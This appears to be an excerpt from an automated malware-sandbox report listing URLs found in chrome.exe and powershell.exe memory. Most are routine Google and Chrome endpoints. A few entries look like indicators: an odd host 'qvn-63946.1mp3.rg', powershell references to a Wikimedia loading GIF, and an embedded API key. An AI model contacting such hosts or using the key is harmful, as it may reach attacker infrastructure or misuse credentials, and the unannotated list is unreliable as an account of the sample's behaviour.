Source: chrome.exe, 00000009.00000002.4157554536.0000016802594000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4157621176.00000168025AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159514425.00000168028CB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://mail.google.com/mail/installwebapp?usp=chrome_default
Source: chrome.exe, 00000009.00000002.4170062974.0000016803088000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://me.google.com/webstoLDDiscoverat
Source: chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/?utm_source=ga-chrome-actions&utm_medium=manageGA
Source: chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159901595.0000016802920000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/data-and-privacy?utm_source=ga-chrome-actions&utm_medium=managePrivacy
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://myaccount.google.com/shielded-email2B
Source: powershell.exe, 00000003.00000002.1799562247.000000000600B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000007.00000002.1842838285.0000000005E8B000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000000D.00000002.1906960666.000000000530F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: chrome.exe, 00000009.00000002.4169818137.0000016803074000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170715538.0000016803134000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167459603.0000016802F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4154675428.00000168022B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165745323.0000016802E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170978973.0000016803169000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162045641.0000016802B98000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1673999601&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000009.00000002.4167459603.0000016802F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845086537.00000168028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1678906374&target=OPTIMIZATION_TARGET_OMN
Source: chrome.exe, 00000009.00000002.4163185610.0000016802CD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1679317318&target=OPTIMIZATION_TARGET_LAN
Source: chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845086537.00000168028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049402&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695049414&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845086537.00000168028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1695051229&target=OPTIMIZATION_TARGET_PAG
Source: chrome.exe, 00000009.00000002.4165865416.0000016802E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168186359.0000016802FEB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4171674716.00000168031D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170978973.0000016803169000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730127919&target=OPTIMIZATION_TARGET_GEO
Source: chrome.exe, 00000009.00000002.4165865416.0000016802E9C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168186359.0000016802FEB000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2083309496.00000168051F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170978973.0000016803169000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730127962&target=OPTIMIZATION_TARGET_NOT
Source: chrome.exe, 00000009.00000002.4180031734.00000168051D8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4171674716.00000168031D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4172789932.000001680340C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160490553.00000168029A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165745323.0000016802E80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2130970299.00000168046DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=1730214257&target=OPTIMIZATION_TARGET_CLI
Source: chrome.exe, 00000009.00000002.4167459603.0000016802F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845086537.00000168028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=210230727&target=OPTIMIZATION_TARGET_CLIE
Source: chrome.exe, 00000009.00000002.4167459603.0000016802F80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168006499.0000016802FCC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4166544115.0000016802F04000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845086537.00000168028E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1956686597.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4168072218.0000016802FD8000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=4&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000009.00000002.4167152014.0000016802F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170461272.00000168030E4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4171674716.00000168031D4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4177620490.00000168046DC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170978973.0000016803169000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2130970299.00000168046DF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/downloads?name=5&target=OPTIMIZATION_TARGET_PAGE_TOPICS_
Source: chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetHints
Source: chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://optimizationguide-pa.googleapis.com/v1:GetModels?key=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Source: chrome.exe, 00000009.00000003.2708265948.0000016803F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165270721.0000016802E44000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true&authuser=0
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.gcp.privacysandboxservices.com
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.aws.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://publickeyservice.pa.gcp.privacysandboxservices.com/.well-known/protected-auction/v1/public-k
Source: chrome.exe, 00000009.00000003.2268460564.0000016802FC0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2261330868.0000016802FC0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://qvn-63946.1mp3.rg
Source: chrome.exe, 00000009.00000002.4153830022.000001680220C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/release2/chrome_component/AMpg5-cnrANo_2018.8.8.0/2018.8.8.0_win6
Source: chrome.exe, 00000009.00000002.4154267832.0000016802278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://redirector.gvt1.com/edgedl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.c
Source: chrome.exe, 00000009.00000002.4154267832.0000016802278000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://safebrowsing.google.com/safebrowsing/clientreport/chrome-sct-auditing
Source: chrome.exe, 00000009.00000002.4154675428.00000168022B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sctauditing-pa.googleapis.com/v1/knownscts/length/$1/prefix/$2?key=AIzaSyBOti4mM-6x9WDnZIjIe
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.com2
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://shieldedids-pa.googleapis.comJv
Source: chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160563266.00000168029D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160490553.00000168029A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actions
Source: chrome.exe, 00000009.00000002.4158160254.00000168026BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160563266.00000168029D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160490553.00000168029A4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://sites.google.com/u/0/create?usp=chrome_actionsactions
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: chrome.exe, 00000009.00000002.4168996738.000001680302A000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170715538.0000016803136000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155530947.000001680234C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4170846632.0000016803140000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160761414.0000016802A0C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/
Source: chrome.exe, 00000009.00000002.4167459603.0000016802F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/docs/common/cleardot.gif?zx=tls4ks3odv91
Source: chrome.exe, 00000009.00000002.4167152014.0000016802F48000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4158777969.00000168027BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4178957593.0000016804E68000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4159969816.0000016802934000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com/images/branding/product/1x/drive_2020q4_32dp.png
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://support.google.com/inapp/
Source: chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: chrome.exe, 00000009.00000003.2465433306.00000168035CC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465682380.00000168035EC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465532067.00000168051E8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/
Source: chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2426512135.00000168034F0000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: chrome.exe, 00000009.00000002.4157554536.0000016802594000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://update.googleapis.com/service/update2/json
Source: powershell.exe, 00000003.00000002.1804564307.0000000009F24000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.1804564307.0000000009B71000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org
Source: powershell.exe, 00000003.00000002.1798080382.00000000050E2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/3/3f/Windows-loading-cargando.gif
Source: chrome.exe, 00000009.00000003.2450961755.0000016803584000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.chromestatus.com/feature/5636954674692096
Source: chrome.exe, 00000009.00000003.2261149782.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1869434920.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845427581.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164499985.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2194778560.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986256597.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2055944333.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2298835247.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=
Source: chrome.exe, 00000009.00000003.2261149782.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1869434920.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845427581.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164499985.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2194778560.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986256597.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2055944333.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2298835247.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearch
Source: chrome.exe, 00000009.00000003.2261149782.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1869434920.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1845427581.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4164499985.0000016802DB8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2194778560.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1986256597.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2055944333.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2298835247.0000016802DB4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/search?q=&addon=opensearchn=opensearch
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156833825.00000168024E0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: chrome.exe, 00000009.00000003.2393532599.0000016803F8C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4167527078.0000016802F90000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: chrome.exe, 00000009.00000002.4157364320.0000016802580000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2588489394.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2419394437.0000016802494000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4162580785.0000016802C0C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393451354.0000016802528000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2547761050.0000016803510000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4173595963.0000016803514000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4156276060.00000168023B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4165132974.0000016802E34000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2393492045.0000016803574000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2392978134.000001680356C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.2710457280.0000016803510000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: chrome.exe, 00000009.00000003.2454236346.0000016802E5C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4158978939.000001680280C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000003.1828307931.0000016802694000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/chrome/hats/index.htmlb
Source: chrome.exe, 00000009.00000002.4164433566.0000016802DA4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/V3P1l2hLvLw_7/7_all_sslErrorAssistant.crx3
Source: chrome.exe, 00000009.00000002.4154457486.000001680229F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/ac6mhlwypzipnufijdvfyhdgvt4q_67/khaoiebndkojlmpp
Source: chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acaldksiunzh56452py2db5mnbpa_120.0.6050.0/jamhcn
Source: chrome.exe, 00000009.00000002.4159249179.000001680286C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acbk3qzfwhzj3ij3hxeo5shqbiyq_3051/jflookgnkcckho
Source: chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/acccxbt6wwsvpxzpob4hojndwkqq_4.10.2830.0/oimompe
Source: chrome.exe, 00000009.00000002.4161977198.0000016802B80000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4155178540.00000168022FC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/adm5fg7myczym5ugfpmw2lireirq_2024.11.8.0/gonpemd
Source: chrome.exe, 00000009.00000002.4155886034.0000016802390000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/ehkm77qex4c7vp4fg5wiyewe6u_20241111.695153350.14
Source: chrome.exe, 00000009.00000002.4154457486.000001680229F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/id6pvt3izjnss6i2ys3hc5x3a4_1143/efniojlnjndmcbii
Source: chrome.exe, 00000009.00000002.4154457486.000001680229F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/dl/release2/chrome_component/j2hxfei2occ5siitujtlwgp6xi_3/ojhpjlocmbogdgmfpkh
Source: chrome.exe, 00000009.00000002.4158357666.00000168026F8000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4158777969.00000168027BC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4163536253.0000016802D3C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000009.00000002.4160355170.0000016802978000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000009.00000003.2465205463.0000016805138000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/js/bg/
Source: chrome.exe, 00000009.00000003.1894239258.0000016804724000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
